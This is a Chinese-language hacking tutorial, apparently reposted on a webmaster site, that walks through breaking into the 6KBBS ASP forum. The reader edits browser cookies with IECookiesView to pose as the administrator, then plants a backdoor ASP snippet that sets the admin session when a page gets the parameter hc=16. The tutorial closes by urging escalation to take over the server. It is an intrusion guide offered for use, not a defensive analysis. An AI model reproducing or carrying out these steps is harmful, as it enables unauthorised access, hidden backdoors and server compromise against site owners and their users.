我們先來說下基礎知識,免的一些菜鳥看不懂,有借鑒.
cookies欺騙,就是在只對用戶做cookies驗證的系統中,通過修改cookies的內容來得到相應的用戶權限登錄。 那么什么是cookies呢,我這里給大家一個專業的解釋,cookies是一個儲存于瀏覽器目錄中的文本文件,記錄你訪問一個特定站點的信息,且只能被創建這個cookies的站點讀回,約由255個字符組成,僅占4kb硬盤空間。當用戶正在瀏覽某站點時,它儲存于用戶機的隨機存取存儲器ram中,退出瀏覽器后,它儲存于用戶的硬盤中。儲存在cookies中的大部分信息是普通的,如當你瀏覽一個站點時,此文件記錄了每一次的擊鍵信息和被訪站點的地址等。但是許多web站點使用cookies來儲存針對私人的數據,如:注冊口令、用戶名、信用卡編號等。 什么是Session?當一個訪問者來到你的網站的時候一個Session就開始了,當他離開的時候Session就結束了。本質是來說,cookie是和瀏覽器有關系,而Session變量就可以存一些資源變量在服務器上面。 正題: 我們先里看個實例,在6KBBS的login.asp找到113—124行,得到以下代碼: if [url=javascript:][color=#949494]Copy code[/color][/url] login=false then tl=" 登 陸 失 敗" mes=mes&" ·返回重新填寫" else response.cookies(prefix)("lgname") =lgname session(prefix"lgname")= lgname response.cookies(prefix)("lgpwd")= lgpwd response.cookies(prefix)("lgtype")= lgtype response.cookies(prefix)("lgcook")= cook if cook>0 then response.cookies(prefix).expires= date cook end if 我們來分析下,如果你登錄失敗了他就顯示你登錄失敗并引導你返回上一頁,否則就給你寫進cookies里面,如果你的cookies有的話那么你的過期時間就是你cookies的過期時間——也就是你保存cookies的時間了。 這時,我們想到的是如果里面的信息是admin的,那一不就成了以管理員登陸了嗎? 首先,我們先去注冊一個用戶,然后登錄,有個cookies保存的選項,一定要選哦。我選擇是保存一個月,因為保存了才會再你本機上寫進它的cookies。接著,打開數據庫,看admin表里面有什么東西,別的不管,你只要那個bd為16的那個人就行了。有可能沒有,你可以到他們論壇去逛一下,看管理員是誰,然后在數據庫里面拿他的賬號和加密的密碼來欺騙。 打開iecookiesview,這款軟件是拿來察看和修改本機的cookies的,很方便我們的cookies欺騙入侵。 在iecookiesview 里找到你要欺騙的那個網站,看到了嗎?有你的用戶名和md5加密的密碼,我們吧這兩項改為管理員的,就是把剛才數據庫里面的管理員賬號和md5加密的密碼代替你自己的。點擊“更改cookies”,打開一個新的ie,然后再去訪問那個論壇,看到沒有?你現在已經是管理員了。 接著,麻煩的事出現了,后臺登陸并不是以cookies來實現的,而是以session實現的 ,所以我們同樣來欺騙session; 首先簡單說一下一般asp系統的身份驗證原理。 一般來說,后臺管理員在登錄頁面輸入賬號密碼后,程序會拿著他提交的用戶名密碼去數據庫的管理員表里面找,如果有這個人的賬號密碼就認為你是管理員,然后給你一個表示你身份的session值。或者程序先把你的用戶名密碼提取出來,然后到數據庫的管理員表里面取出管理員的賬號密碼來和你提交的相比較,如果相等,就跟上面一樣給你個表示你身份的sesion值。然后你進入任何一個管理頁面它都要首先驗證你的session值,如果是管理員就讓你通過,不是的話就引導你回到登錄頁面。 找到manage/admin.asp,發現驗證內容為: [url=javascript:][color=#949494]Copy code[/color][/url] ... else rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR") rs("LastLoginTime")=now() rs("LoginTimes")=rs("LoginTimes") 1 rs.update session.Timeout=SessionTimeout session("AdminName")=rs("username") rs.close set rs=nothing call CloseConn() Response.Redirect "Admin_Index.asp" 很容易就知道如果沒有獲得驗證就會出現兩個session值: [url=javascript:][color=#949494]Copy code[/color][/url] session.Timeout=SessionTimeout session("AdminName")=rs("username") 試想如果我們以adminName的信息登陸就就ok了..接著用ASP木馬編輯器來添加代碼如下: [url=javascript:][color=#949494]Copy code[/color][/url] dim id id=trim(request("hc")) if id="16" then session("AdminName")="admin" end if 分析上段代碼,有個不定值--admin,可以根據實際情況來設置,不一定是admin;可以在一些不常去的頁面來登陸,如:FriendSite.asp?hc=16返回時頁面沒有出現異樣,這就行了,然后再次登陸manage/admin.asp,你會發現,你已經進入后臺了。然后可以提權得弄服務器了。 |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信